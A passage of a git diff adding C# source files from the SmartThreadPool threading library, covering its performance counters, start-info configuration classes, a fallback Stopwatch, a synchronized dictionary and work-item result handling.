internal static bool WaitAll(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext)
{
return WaitHandle.WaitAll(waitHandles, millisecondsTimeout, exitContext);
}
internal static int WaitAny(WaitHandle[] waitHandles)
{
return WaitHandle.WaitAny(waitHandles);
}
internal static int WaitAny(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext)
{
return WaitHandle.WaitAny(waitHandles, millisecondsTimeout, exitContext);
}
internal static bool WaitOne(WaitHandle waitHandle, int millisecondsTimeout, bool exitContext)
{
return waitHandle.WaitOne(millisecondsTimeout, exitContext);
}
}
#endif
}
#endif

View File

@@ -0,0 +1,448 @@
using System;
using System.Diagnostics;
using System.Threading;
namespace Amib.Threading
{
public interface ISTPPerformanceCountersReader
{
long InUseThreads { get; }
long ActiveThreads { get; }
long WorkItemsQueued { get; }
long WorkItemsProcessed { get; }
}
}
namespace Amib.Threading.Internal
{
internal interface ISTPInstancePerformanceCounters : IDisposable
{
void Close();
void SampleThreads(long activeThreads, long inUseThreads);
void SampleWorkItems(long workItemsQueued, long workItemsProcessed);
void SampleWorkItemsWaitTime(TimeSpan workItemWaitTime);
void SampleWorkItemsProcessTime(TimeSpan workItemProcessTime);
}
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
internal enum STPPerformanceCounterType
{
// Fields
ActiveThreads = 0,
InUseThreads = 1,
OverheadThreads = 2,
OverheadThreadsPercent = 3,
OverheadThreadsPercentBase = 4,
WorkItems = 5,
WorkItemsInQueue = 6,
WorkItemsProcessed = 7,
WorkItemsQueuedPerSecond = 8,
WorkItemsProcessedPerSecond = 9,
AvgWorkItemWaitTime = 10,
AvgWorkItemWaitTimeBase = 11,
AvgWorkItemProcessTime = 12,
AvgWorkItemProcessTimeBase = 13,
WorkItemsGroups = 14,
LastCounter = 14,
}
/// <summary>
/// Summary description for STPPerformanceCounter.
/// </summary>
internal class STPPerformanceCounter
{
// Fields
private readonly PerformanceCounterType _pcType;
protected string _counterHelp;
protected string _counterName;
// Methods
public STPPerformanceCounter(
string counterName,
string counterHelp,
PerformanceCounterType pcType)
{
_counterName = counterName;
_counterHelp = counterHelp;
_pcType = pcType;
}
public void AddCounterToCollection(CounterCreationDataCollection counterData)
{
CounterCreationData counterCreationData = new CounterCreationData(
_counterName,
_counterHelp,
_pcType);
counterData.Add(counterCreationData);
}
// Properties
public string Name
{
get
{
return _counterName;
}
}
}
internal class STPPerformanceCounters
{
// Fields
internal STPPerformanceCounter[] _stpPerformanceCounters;
private static readonly STPPerformanceCounters _instance;
internal const string _stpCategoryHelp = "SmartThreadPool performance counters";
internal const string _stpCategoryName = "SmartThreadPool";
// Methods
static STPPerformanceCounters()
{
_instance = new STPPerformanceCounters();
}
private STPPerformanceCounters()
{
STPPerformanceCounter[] stpPerformanceCounters = new STPPerformanceCounter[]
{
new STPPerformanceCounter("Active threads", "The current number of available in the thread pool.", PerformanceCounterType.NumberOfItems32),
new STPPerformanceCounter("In use threads", "The current number of threads that execute a work item.", PerformanceCounterType.NumberOfItems32),
new STPPerformanceCounter("Overhead threads", "The current number of threads that are active, but are not in use.", PerformanceCounterType.NumberOfItems32),
new STPPerformanceCounter("% overhead threads", "The current number of threads that are active, but are not in use in percents.", PerformanceCounterType.RawFraction),
new STPPerformanceCounter("% overhead threads base", "The current number of threads that are active, but are not in use in percents.", PerformanceCounterType.RawBase),
new STPPerformanceCounter("Work Items", "The number of work items in the Smart Thread Pool. Both queued and processed.", PerformanceCounterType.NumberOfItems32),
new STPPerformanceCounter("Work Items in queue", "The current number of work items in the queue", PerformanceCounterType.NumberOfItems32),
new STPPerformanceCounter("Work Items processed", "The number of work items already processed", PerformanceCounterType.NumberOfItems32),
new STPPerformanceCounter("Work Items queued/sec", "The number of work items queued per second", PerformanceCounterType.RateOfCountsPerSecond32),
new STPPerformanceCounter("Work Items processed/sec", "The number of work items processed per second", PerformanceCounterType.RateOfCountsPerSecond32),
new STPPerformanceCounter("Avg. Work Item wait time/sec", "The average time a work item supends in the queue waiting for its turn to execute.", PerformanceCounterType.AverageCount64),
new STPPerformanceCounter("Avg. Work Item wait time base", "The average time a work item supends in the queue waiting for its turn to execute.", PerformanceCounterType.AverageBase),
new STPPerformanceCounter("Avg. Work Item process time/sec", "The average time it takes to process a work item.", PerformanceCounterType.AverageCount64),
new STPPerformanceCounter("Avg. Work Item process time base", "The average time it takes to process a work item.", PerformanceCounterType.AverageBase),
new STPPerformanceCounter("Work Items Groups", "The current number of work item groups associated with the Smart Thread Pool.", PerformanceCounterType.NumberOfItems32),
};
_stpPerformanceCounters = stpPerformanceCounters;
SetupCategory();
}
private void SetupCategory()
{
if (!PerformanceCounterCategory.Exists(_stpCategoryName))
{
CounterCreationDataCollection counters = new CounterCreationDataCollection();
for (int i = 0; i < _stpPerformanceCounters.Length; i++)
{
_stpPerformanceCounters[i].AddCounterToCollection(counters);
}
PerformanceCounterCategory.Create(
_stpCategoryName,
_stpCategoryHelp,
PerformanceCounterCategoryType.MultiInstance,
counters);
}
}
// Properties
public static STPPerformanceCounters Instance
{
get
{
return _instance;
}
}
}
internal class STPInstancePerformanceCounter : IDisposable
{
// Fields
private bool _isDisposed;
private PerformanceCounter _pcs;
// Methods
protected STPInstancePerformanceCounter()
{
_isDisposed = false;
}
public STPInstancePerformanceCounter(
string instance,
STPPerformanceCounterType spcType) : this()
{
STPPerformanceCounters counters = STPPerformanceCounters.Instance;
_pcs = new PerformanceCounter(
STPPerformanceCounters._stpCategoryName,
counters._stpPerformanceCounters[(int) spcType].Name,
instance,
false);
_pcs.RawValue = _pcs.RawValue;
}
public void Close()
{
if (_pcs != null)
{
_pcs.RemoveInstance();
_pcs.Close();
_pcs = null;
}
}
public void Dispose()
{
Dispose(true);
}
public virtual void Dispose(bool disposing)
{
if (!_isDisposed)
{
if (disposing)
{
Close();
}
}
_isDisposed = true;
}
public virtual void Increment()
{
_pcs.Increment();
}
public virtual void IncrementBy(long val)
{
_pcs.IncrementBy(val);
}
public virtual void Set(long val)
{
_pcs.RawValue = val;
}
}
internal class STPInstanceNullPerformanceCounter : STPInstancePerformanceCounter
{
// Methods
public override void Increment() {}
public override void IncrementBy(long value) {}
public override void Set(long val) {}
}
internal class STPInstancePerformanceCounters : ISTPInstancePerformanceCounters
{
private bool _isDisposed;
// Fields
private STPInstancePerformanceCounter[] _pcs;
private static readonly STPInstancePerformanceCounter _stpInstanceNullPerformanceCounter;
// Methods
static STPInstancePerformanceCounters()
{
_stpInstanceNullPerformanceCounter = new STPInstanceNullPerformanceCounter();
}
public STPInstancePerformanceCounters(string instance)
{
_isDisposed = false;
_pcs = new STPInstancePerformanceCounter[(int)STPPerformanceCounterType.LastCounter];
// Call the STPPerformanceCounters.Instance so the static constructor will
// intialize the STPPerformanceCounters singleton.
STPPerformanceCounters.Instance.GetHashCode();
for (int i = 0; i < _pcs.Length; i++)
{
if (instance != null)
{
_pcs[i] = new STPInstancePerformanceCounter(
instance,
(STPPerformanceCounterType) i);
}
else
{
_pcs[i] = _stpInstanceNullPerformanceCounter;
}
}
}
public void Close()
{
if (null != _pcs)
{
for (int i = 0; i < _pcs.Length; i++)
{
if (null != _pcs[i])
{
_pcs[i].Dispose();
}
}
_pcs = null;
}
}
public void Dispose()
{
Dispose(true);
}
public virtual void Dispose(bool disposing)
{
if (!_isDisposed)
{
if (disposing)
{
Close();
}
}
_isDisposed = true;
}
private STPInstancePerformanceCounter GetCounter(STPPerformanceCounterType spcType)
{
return _pcs[(int) spcType];
}
public void SampleThreads(long activeThreads, long inUseThreads)
{
GetCounter(STPPerformanceCounterType.ActiveThreads).Set(activeThreads);
GetCounter(STPPerformanceCounterType.InUseThreads).Set(inUseThreads);
GetCounter(STPPerformanceCounterType.OverheadThreads).Set(activeThreads-inUseThreads);
GetCounter(STPPerformanceCounterType.OverheadThreadsPercentBase).Set(activeThreads-inUseThreads);
GetCounter(STPPerformanceCounterType.OverheadThreadsPercent).Set(inUseThreads);
}
public void SampleWorkItems(long workItemsQueued, long workItemsProcessed)
{
GetCounter(STPPerformanceCounterType.WorkItems).Set(workItemsQueued+workItemsProcessed);
GetCounter(STPPerformanceCounterType.WorkItemsInQueue).Set(workItemsQueued);
GetCounter(STPPerformanceCounterType.WorkItemsProcessed).Set(workItemsProcessed);
GetCounter(STPPerformanceCounterType.WorkItemsQueuedPerSecond).Set(workItemsQueued);
GetCounter(STPPerformanceCounterType.WorkItemsProcessedPerSecond).Set(workItemsProcessed);
}
public void SampleWorkItemsWaitTime(TimeSpan workItemWaitTime)
{
GetCounter(STPPerformanceCounterType.AvgWorkItemWaitTime).IncrementBy((long)workItemWaitTime.TotalMilliseconds);
GetCounter(STPPerformanceCounterType.AvgWorkItemWaitTimeBase).Increment();
}
public void SampleWorkItemsProcessTime(TimeSpan workItemProcessTime)
{
GetCounter(STPPerformanceCounterType.AvgWorkItemProcessTime).IncrementBy((long)workItemProcessTime.TotalMilliseconds);
GetCounter(STPPerformanceCounterType.AvgWorkItemProcessTimeBase).Increment();
}
}
#endif
internal class NullSTPInstancePerformanceCounters : ISTPInstancePerformanceCounters, ISTPPerformanceCountersReader
{
private static readonly NullSTPInstancePerformanceCounters _instance = new NullSTPInstancePerformanceCounters();
public static NullSTPInstancePerformanceCounters Instance
{
get { return _instance; }
}
public void Close() {}
public void Dispose() {}
public void SampleThreads(long activeThreads, long inUseThreads) {}
public void SampleWorkItems(long workItemsQueued, long workItemsProcessed) {}
public void SampleWorkItemsWaitTime(TimeSpan workItemWaitTime) {}
public void SampleWorkItemsProcessTime(TimeSpan workItemProcessTime) {}
public long InUseThreads
{
get { return 0; }
}
public long ActiveThreads
{
get { return 0; }
}
public long WorkItemsQueued
{
get { return 0; }
}
public long WorkItemsProcessed
{
get { return 0; }
}
}
internal class LocalSTPInstancePerformanceCounters : ISTPInstancePerformanceCounters, ISTPPerformanceCountersReader
{
public void Close() { }
public void Dispose() { }
private long _activeThreads;
private long _inUseThreads;
private long _workItemsQueued;
private long _workItemsProcessed;
public long InUseThreads
{
get { return _inUseThreads; }
}
public long ActiveThreads
{
get { return _activeThreads; }
}
public long WorkItemsQueued
{
get { return _workItemsQueued; }
}
public long WorkItemsProcessed
{
get { return _workItemsProcessed; }
}
public void SampleThreads(long activeThreads, long inUseThreads)
{
_activeThreads = activeThreads;
_inUseThreads = inUseThreads;
}
public void SampleWorkItems(long workItemsQueued, long workItemsProcessed)
{
_workItemsQueued = workItemsQueued;
_workItemsProcessed = workItemsProcessed;
}
public void SampleWorkItemsWaitTime(TimeSpan workItemWaitTime)
{
// Not supported
}
public void SampleWorkItemsProcessTime(TimeSpan workItemProcessTime)
{
// Not supported
}
}
}

View File

@@ -0,0 +1,235 @@
using System;
using System.Threading;
namespace Amib.Threading
{
/// <summary>
/// Summary description for STPStartInfo.
/// </summary>
public class STPStartInfo : WIGStartInfo
{
private int _idleTimeout = SmartThreadPool.DefaultIdleTimeout;
private int _minWorkerThreads = SmartThreadPool.DefaultMinWorkerThreads;
private int _maxWorkerThreads = SmartThreadPool.DefaultMaxWorkerThreads;
#if !(WINDOWS_PHONE)
private ThreadPriority _threadPriority = SmartThreadPool.DefaultThreadPriority;
#endif
private string _performanceCounterInstanceName = SmartThreadPool.DefaultPerformanceCounterInstanceName;
private bool _areThreadsBackground = SmartThreadPool.DefaultAreThreadsBackground;
private bool _enableLocalPerformanceCounters;
private string _threadPoolName = SmartThreadPool.DefaultThreadPoolName;
private int? _maxStackSize = SmartThreadPool.DefaultMaxStackSize;
private int? _maxQueueLength = SmartThreadPool.DefaultMaxQueueLength;
public STPStartInfo()
{
_performanceCounterInstanceName = SmartThreadPool.DefaultPerformanceCounterInstanceName;
#if !(WINDOWS_PHONE)
_threadPriority = SmartThreadPool.DefaultThreadPriority;
#endif
_maxWorkerThreads = SmartThreadPool.DefaultMaxWorkerThreads;
_idleTimeout = SmartThreadPool.DefaultIdleTimeout;
_minWorkerThreads = SmartThreadPool.DefaultMinWorkerThreads;
}
public STPStartInfo(STPStartInfo stpStartInfo)
: base(stpStartInfo)
{
_idleTimeout = stpStartInfo.IdleTimeout;
_minWorkerThreads = stpStartInfo.MinWorkerThreads;
_maxWorkerThreads = stpStartInfo.MaxWorkerThreads;
#if !(WINDOWS_PHONE)
_threadPriority = stpStartInfo.ThreadPriority;
#endif
_performanceCounterInstanceName = stpStartInfo.PerformanceCounterInstanceName;
_enableLocalPerformanceCounters = stpStartInfo._enableLocalPerformanceCounters;
_threadPoolName = stpStartInfo._threadPoolName;
_areThreadsBackground = stpStartInfo.AreThreadsBackground;
_maxQueueLength = stpStartInfo.MaxQueueLength;
#if !(_SILVERLIGHT) && !(WINDOWS_PHONE)
_apartmentState = stpStartInfo._apartmentState;
#endif
_maxStackSize = stpStartInfo._maxStackSize;
}
/// <summary>
/// Get/Set the idle timeout in milliseconds.
/// If a thread is idle (starved) longer than IdleTimeout then it may quit.
/// </summary>
public virtual int IdleTimeout
{
get { return _idleTimeout; }
set
{
ThrowIfReadOnly();
_idleTimeout = value;
}
}
/// <summary>
/// Get/Set the lower limit of threads in the pool.
/// </summary>
public virtual int MinWorkerThreads
{
get { return _minWorkerThreads; }
set
{
ThrowIfReadOnly();
_minWorkerThreads = value;
}
}
/// <summary>
/// Get/Set the upper limit of threads in the pool.
/// </summary>
public virtual int MaxWorkerThreads
{
get { return _maxWorkerThreads; }
set
{
ThrowIfReadOnly();
_maxWorkerThreads = value;
}
}
#if !(WINDOWS_PHONE)
/// <summary>
/// Get/Set the scheduling priority of the threads in the pool.
/// The Os handles the scheduling.
/// </summary>
public virtual ThreadPriority ThreadPriority
{
get { return _threadPriority; }
set
{
ThrowIfReadOnly();
_threadPriority = value;
}
}
#endif
/// <summary>
/// Get/Set the thread pool name. Threads will get names depending on this.
/// </summary>
public virtual string ThreadPoolName {
get { return _threadPoolName; }
set
{
ThrowIfReadOnly ();
_threadPoolName = value;
}
}
/// <summary>
/// Get/Set the performance counter instance name of this SmartThreadPool
/// The default is null which indicate not to use performance counters at all.
/// </summary>
public virtual string PerformanceCounterInstanceName
{
get { return _performanceCounterInstanceName; }
set
{
ThrowIfReadOnly();
_performanceCounterInstanceName = value;
}
}
/// <summary>
/// Enable/Disable the local performance counter.
/// This enables the user to get some performance information about the SmartThreadPool
/// without using Windows performance counters. (Useful on WindowsCE, Silverlight, etc.)
/// The default is false.
/// </summary>
public virtual bool EnableLocalPerformanceCounters
{
get { return _enableLocalPerformanceCounters; }
set
{
ThrowIfReadOnly();
_enableLocalPerformanceCounters = value;
}
}
/// <summary>
/// Get/Set backgroundness of thread in thread pool.
/// </summary>
public virtual bool AreThreadsBackground
{
get { return _areThreadsBackground; }
set
{
ThrowIfReadOnly ();
_areThreadsBackground = value;
}
}
/// <summary>
/// The maximum number of items allowed in the queue. Items attempting to be queued
/// when the queue is at its maximum will throw a QueueRejectedException.
///
/// Value must be > 0. A <code>null</code> value will leave the queue unbounded (i.e.
/// bounded only by available resources).
///
/// Ignored when <code>Enqueue()</code>ing on a Thread Pool from within a
/// <code>WorkItemsGroup</code>.
/// </summary>
public virtual int? MaxQueueLength
{
get { return _maxQueueLength; }
set
{
ThrowIfReadOnly();
_maxQueueLength = value;
}
}
/// <summary>
/// Get a readonly version of this STPStartInfo.
/// </summary>
/// <returns>Returns a readonly reference to this STPStartInfo</returns>
public new STPStartInfo AsReadOnly()
{
return new STPStartInfo(this) { _readOnly = true };
}
#if !(_SILVERLIGHT) && !(WINDOWS_PHONE)
private ApartmentState _apartmentState = SmartThreadPool.DefaultApartmentState;
/// <summary>
/// Get/Set the apartment state of threads in the thread pool
/// </summary>
public ApartmentState ApartmentState
{
get { return _apartmentState; }
set
{
ThrowIfReadOnly();
_apartmentState = value;
}
}
#if !(_SILVERLIGHT) && !(WINDOWS_PHONE)
/// <summary>
/// Get/Set the max stack size of threads in the thread pool
/// </summary>
public int? MaxStackSize
{
get { return _maxStackSize; }
set
{
ThrowIfReadOnly();
if (value.HasValue && value.Value < 0)
{
throw new ArgumentOutOfRangeException("value", "Value must be greater than 0.");
}
_maxStackSize = value;
}
}
#endif
#endif
}
}

View File

@@ -0,0 +1,60 @@

using System;
using Amib.Threading.Internal;
namespace Amib.Threading
{
public partial class SmartThreadPool
{
#region ThreadEntry class
internal class ThreadEntry
{
/// <summary>
/// The thread creation time
/// The value is stored as UTC value.
/// </summary>
private readonly DateTime _creationTime;
/// <summary>
/// The last time this thread has been running
/// It is updated by IAmAlive() method
/// The value is stored as UTC value.
/// </summary>
private DateTime _lastAliveTime;
/// <summary>
/// A reference from each thread in the thread pool to its SmartThreadPool
/// object container.
/// With this variable a thread can know whatever it belongs to a
/// SmartThreadPool.
/// </summary>
private readonly SmartThreadPool _associatedSmartThreadPool;
/// <summary>
/// A reference to the current work item a thread from the thread pool
/// is executing.
/// </summary>
public WorkItem CurrentWorkItem { get; set; }
public ThreadEntry(SmartThreadPool stp)
{
_associatedSmartThreadPool = stp;
_creationTime = DateTime.UtcNow;
_lastAliveTime = DateTime.MinValue;
}
public SmartThreadPool AssociatedSmartThreadPool
{
get { return _associatedSmartThreadPool; }
}
public void IAmAlive()
{
_lastAliveTime = DateTime.UtcNow;
}
}
#endregion
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,108 @@
using System;
namespace Amib.Threading.Internal
{
/// <summary>
/// Stopwatch class
/// Used with WindowsCE and Silverlight which don't have Stopwatch
/// </summary>
internal class Stopwatch
{
private long _elapsed;
private bool _isRunning;
private long _startTimeStamp;
public Stopwatch()
{
Reset();
}
private long GetElapsedDateTimeTicks()
{
long rawElapsedTicks = GetRawElapsedTicks();
return rawElapsedTicks;
}
private long GetRawElapsedTicks()
{
long elapsed = _elapsed;
if (_isRunning)
{
long ticks = GetTimestamp() - _startTimeStamp;
elapsed += ticks;
}
return elapsed;
}
public static long GetTimestamp()
{
return DateTime.UtcNow.Ticks;
}
public void Reset()
{
_elapsed = 0L;
_isRunning = false;
_startTimeStamp = 0L;
}
public void Start()
{
if (!_isRunning)
{
_startTimeStamp = GetTimestamp();
_isRunning = true;
}
}
public static Stopwatch StartNew()
{
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
return stopwatch;
}
public void Stop()
{
if (_isRunning)
{
long ticks = GetTimestamp() - _startTimeStamp;
_elapsed += ticks;
_isRunning = false;
}
}
// Properties
public TimeSpan Elapsed
{
get
{
return new TimeSpan(GetElapsedDateTimeTicks());
}
}
public long ElapsedMilliseconds
{
get
{
return (GetElapsedDateTimeTicks() / 0x2710L);
}
}
public long ElapsedTicks
{
get
{
return GetRawElapsedTicks();
}
}
public bool IsRunning
{
get
{
return _isRunning;
}
}
}
}

View File

@@ -0,0 +1,89 @@
using System.Collections.Generic;
namespace Amib.Threading.Internal
{
internal class SynchronizedDictionary<TKey, TValue>
{
private readonly Dictionary<TKey, TValue> _dictionary;
private readonly object _lock;
public SynchronizedDictionary()
{
_lock = new object();
_dictionary = new Dictionary<TKey, TValue>();
}
public int Count
{
get { return _dictionary.Count; }
}
public bool Contains(TKey key)
{
lock (_lock)
{
return _dictionary.ContainsKey(key);
}
}
public void Remove(TKey key)
{
lock (_lock)
{
_dictionary.Remove(key);
}
}
public object SyncRoot
{
get { return _lock; }
}
public TValue this[TKey key]
{
get
{
lock (_lock)
{
return _dictionary[key];
}
}
set
{
lock (_lock)
{
_dictionary[key] = value;
}
}
}
public Dictionary<TKey, TValue>.KeyCollection Keys
{
get
{
lock (_lock)
{
return _dictionary.Keys;
}
}
}
public Dictionary<TKey, TValue>.ValueCollection Values
{
get
{
lock (_lock)
{
return _dictionary.Values;
}
}
}
public void Clear()
{
lock (_lock)
{
_dictionary.Clear();
}
}
}
}

View File

@@ -0,0 +1,171 @@
using System;
namespace Amib.Threading
{
/// <summary>
/// Summary description for WIGStartInfo.
/// </summary>
public class WIGStartInfo
{
private bool _useCallerCallContext;
private bool _useCallerHttpContext;
private bool _disposeOfStateObjects;
private CallToPostExecute _callToPostExecute;
private PostExecuteWorkItemCallback _postExecuteWorkItemCallback;
private bool _startSuspended;
private WorkItemPriority _workItemPriority;
private bool _fillStateWithArgs;
protected bool _readOnly;
public WIGStartInfo()
{
_fillStateWithArgs = SmartThreadPool.DefaultFillStateWithArgs;
_workItemPriority = SmartThreadPool.DefaultWorkItemPriority;
_startSuspended = SmartThreadPool.DefaultStartSuspended;
_postExecuteWorkItemCallback = SmartThreadPool.DefaultPostExecuteWorkItemCallback;
_callToPostExecute = SmartThreadPool.DefaultCallToPostExecute;
_disposeOfStateObjects = SmartThreadPool.DefaultDisposeOfStateObjects;
_useCallerHttpContext = SmartThreadPool.DefaultUseCallerHttpContext;
_useCallerCallContext = SmartThreadPool.DefaultUseCallerCallContext;
}
public WIGStartInfo(WIGStartInfo wigStartInfo)
{
_useCallerCallContext = wigStartInfo.UseCallerCallContext;
_useCallerHttpContext = wigStartInfo.UseCallerHttpContext;
_disposeOfStateObjects = wigStartInfo.DisposeOfStateObjects;
_callToPostExecute = wigStartInfo.CallToPostExecute;
_postExecuteWorkItemCallback = wigStartInfo.PostExecuteWorkItemCallback;
_workItemPriority = wigStartInfo.WorkItemPriority;
_startSuspended = wigStartInfo.StartSuspended;
_fillStateWithArgs = wigStartInfo.FillStateWithArgs;
}
protected void ThrowIfReadOnly()
{
if (_readOnly)
{
throw new NotSupportedException("This is a readonly instance and set is not supported");
}
}
/// <summary>
/// Get/Set if to use the caller's security context
/// </summary>
public virtual bool UseCallerCallContext
{
get { return _useCallerCallContext; }
set
{
ThrowIfReadOnly();
_useCallerCallContext = value;
}
}
/// <summary>
/// Get/Set if to use the caller's HTTP context
/// </summary>
public virtual bool UseCallerHttpContext
{
get { return _useCallerHttpContext; }
set
{
ThrowIfReadOnly();
_useCallerHttpContext = value;
}
}
/// <summary>
/// Get/Set if to dispose of the state object of a work item
/// </summary>
public virtual bool DisposeOfStateObjects
{
get { return _disposeOfStateObjects; }
set
{
ThrowIfReadOnly();
_disposeOfStateObjects = value;
}
}
/// <summary>
/// Get/Set the run the post execute options
/// </summary>
public virtual CallToPostExecute CallToPostExecute
{
get { return _callToPostExecute; }
set
{
ThrowIfReadOnly();
_callToPostExecute = value;
}
}
/// <summary>
/// Get/Set the default post execute callback
/// </summary>
public virtual PostExecuteWorkItemCallback PostExecuteWorkItemCallback
{
get { return _postExecuteWorkItemCallback; }
set
{
ThrowIfReadOnly();
_postExecuteWorkItemCallback = value;
}
}
/// <summary>
/// Get/Set if the work items execution should be suspended until the Start()
/// method is called.
/// </summary>
public virtual bool StartSuspended
{
get { return _startSuspended; }
set
{
ThrowIfReadOnly();
_startSuspended = value;
}
}
/// <summary>
/// Get/Set the default priority that a work item gets when it is enqueued
/// </summary>
public virtual WorkItemPriority WorkItemPriority
{
get { return _workItemPriority; }
set { _workItemPriority = value; }
}
/// <summary>
/// Get/Set the if QueueWorkItem of Action&lt;...&gt;/Func&lt;...&gt; fill the
/// arguments as an object array into the state of the work item.
/// The arguments can be access later by IWorkItemResult.State.
/// </summary>
public virtual bool FillStateWithArgs
{
get { return _fillStateWithArgs; }
set
{
ThrowIfReadOnly();
_fillStateWithArgs = value;
}
}
/// <summary>
/// Get a readonly version of this WIGStartInfo
/// </summary>
/// <returns>Returns a readonly reference to this WIGStartInfoRO</returns>
public WIGStartInfo AsReadOnly()
{
return new WIGStartInfo(this) { _readOnly = true };
}
}
}

View File

@@ -0,0 +1,190 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
namespace Amib.Threading.Internal
{
public partial class WorkItem
{
#region WorkItemResult class
private class WorkItemResult : IWorkItemResult, IInternalWorkItemResult, IInternalWaitableResult
{
/// <summary>
/// A back reference to the work item
/// </summary>
private readonly WorkItem _workItem;
public WorkItemResult(WorkItem workItem)
{
_workItem = workItem;
}
internal WorkItem GetWorkItem()
{
return _workItem;
}
#region IWorkItemResult Members
public bool IsCompleted
{
get
{
return _workItem.IsCompleted;
}
}
public bool IsCanceled
{
get
{
return _workItem.IsCanceled;
}
}
public object GetResult()
{
return _workItem.GetResult(Timeout.Infinite, true, null);
}
public object GetResult(int millisecondsTimeout, bool exitContext)
{
return _workItem.GetResult(millisecondsTimeout, exitContext, null);
}
public object GetResult(TimeSpan timeout, bool exitContext)
{
return _workItem.GetResult((int)timeout.TotalMilliseconds, exitContext, null);
}
public object GetResult(int millisecondsTimeout, bool exitContext, WaitHandle cancelWaitHandle)
{
return _workItem.GetResult(millisecondsTimeout, exitContext, cancelWaitHandle);
}
public object GetResult(TimeSpan timeout, bool exitContext, WaitHandle cancelWaitHandle)
{
return _workItem.GetResult((int)timeout.TotalMilliseconds, exitContext, cancelWaitHandle);
}
public object GetResult(out Exception e)
{
return _workItem.GetResult(Timeout.Infinite, true, null, out e);
}
public object GetResult(int millisecondsTimeout, bool exitContext, out Exception e)
{
return _workItem.GetResult(millisecondsTimeout, exitContext, null, out e);
}
public object GetResult(TimeSpan timeout, bool exitContext, out Exception e)
{
return _workItem.GetResult((int)timeout.TotalMilliseconds, exitContext, null, out e);
}
public object GetResult(int millisecondsTimeout, bool exitContext, WaitHandle cancelWaitHandle, out Exception e)
{
return _workItem.GetResult(millisecondsTimeout, exitContext, cancelWaitHandle, out e);
}
public object GetResult(TimeSpan timeout, bool exitContext, WaitHandle cancelWaitHandle, out Exception e)
{
return _workItem.GetResult((int)timeout.TotalMilliseconds, exitContext, cancelWaitHandle, out e);
}
public bool Cancel()
{
return Cancel(false);
}
public bool Cancel(bool abortExecution)
{
return _workItem.Cancel(abortExecution);
}
public object State
{
get
{
return _workItem._state;
}
}
public WorkItemPriority WorkItemPriority
{
get
{
return _workItem._workItemInfo.WorkItemPriority;
}
}
/// <summary>
/// Return the result, same as GetResult()
/// </summary>
public object Result
{
get { return GetResult(); }
}
/// <summary>
/// Returns the exception if occured otherwise returns null.
/// This value is valid only after the work item completed,
/// before that it is always null.
/// </summary>
public object Exception
{
get { return _workItem._exception; }
}
#endregion
#region IInternalWorkItemResult Members
public event WorkItemStateCallback OnWorkItemStarted
{
add
{
_workItem.OnWorkItemStarted += value;
}
remove
{
_workItem.OnWorkItemStarted -= value;
}
}
public event WorkItemStateCallback OnWorkItemCompleted
{
add
{
_workItem.OnWorkItemCompleted += value;
}
remove
{
_workItem.OnWorkItemCompleted -= value;
}
}
#endregion
#region IInternalWorkItemResult Members
public IWorkItemResult GetWorkItemResult()
{
return this;
}
public IWorkItemResult<TResult> GetWorkItemResultT<TResult>()
{
return new WorkItemResultTWrapper<TResult>(this);
}
#endregion
}
#endregion
}
}

View File

@@ -0,0 +1,994 @@
using System;
using System.Threading;
using System.Diagnostics;
using Amib.Threading;
namespace Amib.Threading.Internal
{
/// <summary>
/// Holds a callback delegate and the state for that delegate.
/// </summary>
public partial class WorkItem : IHasWorkItemPriority
{
#region WorkItemState enum
/// <summary>
/// Indicates the state of the work item in the thread pool
/// </summary>
private enum WorkItemState
{
InQueue = 0, // Nexts: InProgress, Canceled
InProgress = 1, // Nexts: Completed, Canceled
Completed = 2, // Stays Completed
Canceled = 3, // Stays Canceled
}
private static bool IsValidStatesTransition(WorkItemState currentState, WorkItemState nextState)
{
bool valid = false;
switch (currentState)
{
case WorkItemState.InQueue:
valid = (WorkItemState.InProgress == nextState) || (WorkItemState.Canceled == nextState);
break;
case WorkItemState.InProgress:
valid = (WorkItemState.Completed == nextState) || (WorkItemState.Canceled == nextState);
break;
case WorkItemState.Completed:
case WorkItemState.Canceled:
// Cannot be changed
break;
default:
// Unknown state
Debug.Assert(false);
break;
}
return valid;
}
#endregion
#region Fields
/// <summary>
/// Callback delegate for the callback.
/// </summary>
private readonly WorkItemCallback _callback;
/// <summary>
/// State with which to call the callback delegate.
/// </summary>
private object _state;
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
/// <summary>
/// Stores the caller's context
/// </summary>
private readonly CallerThreadContext _callerContext;
#endif
/// <summary>
/// Holds the result of the mehtod
/// </summary>
private object _result;
/// <summary>
/// Hold the exception if the method threw it
/// </summary>
private Exception _exception;
/// <summary>
/// Hold the state of the work item
/// </summary>
private WorkItemState _workItemState;
/// <summary>
/// A ManualResetEvent to indicate that the result is ready
/// </summary>
private ManualResetEvent _workItemCompleted;
/// <summary>
/// A reference count to the _workItemCompleted.
/// When it reaches to zero _workItemCompleted is Closed
/// </summary>
private int _workItemCompletedRefCount;
/// <summary>
/// Represents the result state of the work item
/// </summary>
private readonly WorkItemResult _workItemResult;
/// <summary>
/// Work item info
/// </summary>
private readonly WorkItemInfo _workItemInfo;
/// <summary>
/// Called when the WorkItem starts
/// </summary>
private event WorkItemStateCallback _workItemStartedEvent;
/// <summary>
/// Called when the WorkItem completes
/// </summary>
private event WorkItemStateCallback _workItemCompletedEvent;
/// <summary>
/// A reference to an object that indicates whatever the
/// WorkItemsGroup has been canceled
/// </summary>
private CanceledWorkItemsGroup _canceledWorkItemsGroup = CanceledWorkItemsGroup.NotCanceledWorkItemsGroup;
/// <summary>
/// A reference to an object that indicates whatever the
/// SmartThreadPool has been canceled
/// </summary>
private CanceledWorkItemsGroup _canceledSmartThreadPool = CanceledWorkItemsGroup.NotCanceledWorkItemsGroup;
/// <summary>
/// The work item group this work item belong to.
/// </summary>
private readonly IWorkItemsGroup _workItemsGroup;
/// <summary>
/// The thread that executes this workitem.
/// This field is available for the period when the work item is executed, before and after it is null.
/// </summary>
private Thread _executingThread;
/// <summary>
/// The absulote time when the work item will be timeout
/// </summary>
private long _expirationTime;
#region Performance Counter fields
/// <summary>
/// Stores how long the work item waited on the stp queue
/// </summary>
private Stopwatch _waitingOnQueueStopwatch;
/// <summary>
